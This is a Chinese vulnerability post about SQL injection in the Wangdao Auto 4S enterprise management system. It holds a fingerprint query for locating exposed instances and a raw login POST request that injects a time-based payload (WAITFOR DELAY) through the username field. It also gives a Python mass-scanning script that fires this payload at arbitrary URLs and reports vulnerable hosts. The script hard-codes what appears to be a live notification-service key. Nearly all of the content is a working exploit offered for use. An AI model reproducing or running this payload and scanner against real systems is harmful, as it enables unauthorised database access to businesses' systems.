大型作死现场【深夜加班】-王道汽车4S企业管理系统 SQL注入漏洞

body="PixelsPerInch" && body="AxBorderStyle" && body="DropTarget"

POST / HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0Content-Type: application/x-www-form-urlencoded; charset=utf-8X-MicrosoftAjax: Delta=trueX-Requested-With: XMLHttpRequestConnection: close ScriptManager1=UpdatePanel3|btnLogin&__EVENTTARGET=btnLogin&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=&ddlUserName=&txtUserName=1';WAITFOR DELAY '0:0:5'--&txtPassWord=1&cbBossedBroadcast=on&txtMACAddr=&__ASYNCPOST=true&

# Wangdao_time_SQL_injection_scan.pyimport requestsfrom requests.packages.urllib3.exceptions import InsecureRequestWarningfrom requests.exceptions import Timeoutimport osimport urllib.parseimport urllib.requestimport reimport time
def sc_send(text, desp='', key='[SENDKEY]'):    postdata = urllib.parse.urlencode({'text': text, 'desp': desp}).encode('utf-8')    urlserver = f'https://sctapi.ftqq.com/{key}.send'    req = urllib.request.Request(urlserver, data=postdata, method='POST')    with urllib.request.urlopen(req) as response:        result = response.read().decode('utf-8')    return resultkey = "SCT202695TeKe1ATgRMke7f7jyrOOkH9GX"
def scan_Wangdao_time_SQL_injection(url, proxies, headers, append_to_output):    proxies = {        'http': 'http://127.0.0.1:8080',        'https': 'http://127.0.0.1:8080'    }    headers = {        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0',        'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8',        'X-MicrosoftAjax': 'Delta=true',        'X-Requested-With': 'XMLHttpRequest'    }    if url.endswith("/"):        path = ""    else:        path = ""
    if not url.startswith('http://') and not url.startswith('https://'):        url = 'http://' + url    data = '''ScriptManager1=UpdatePanel3|btnLogin&__EVENTTARGET=btnLogin&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=&ddlUserName=&txtUserName=1';WAITFOR DELAY '0:0:5'--&txtPassWord=1&cbBossedBroadcast=on&txtMACAddr=&__ASYNCPOST=true&'''
    encodetext = url    append_to_output("===================================================================", "green")    try:        expected_time = 5  # 期望的回包时间，单位为秒        start_time = time.time()        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)        req = requests.post(encodetext, data=data, headers=headers, verify=False, timeout=15, proxies=proxies)        res = req.text        end_time = time.time()
        response_time = end_time - start_time        if response_time >= expected_time:            append_to_output(f"[+] {url} 存在王道汽车4S企业管理系统 SQL注入漏洞！！！！", "red")            # self.append_to_output(res, "yellow")        else:            append_to_output(f"[-] {url} 不存在王道汽车4S企业管理系统 SQL注入漏洞", "green")    except Timeout:        append_to_output(f"[!] 请求超时，跳过URL: {url}", "yellow")    except Exception as e:        if 'HTTPSConnectionPool' in str(e) or 'Burp Suite Professional' in str(e):            append_to_output(f"[-] {url} 证书校验错误或者证书被拒绝", "yellow")        else:            append_to_output(str(e), "yellow")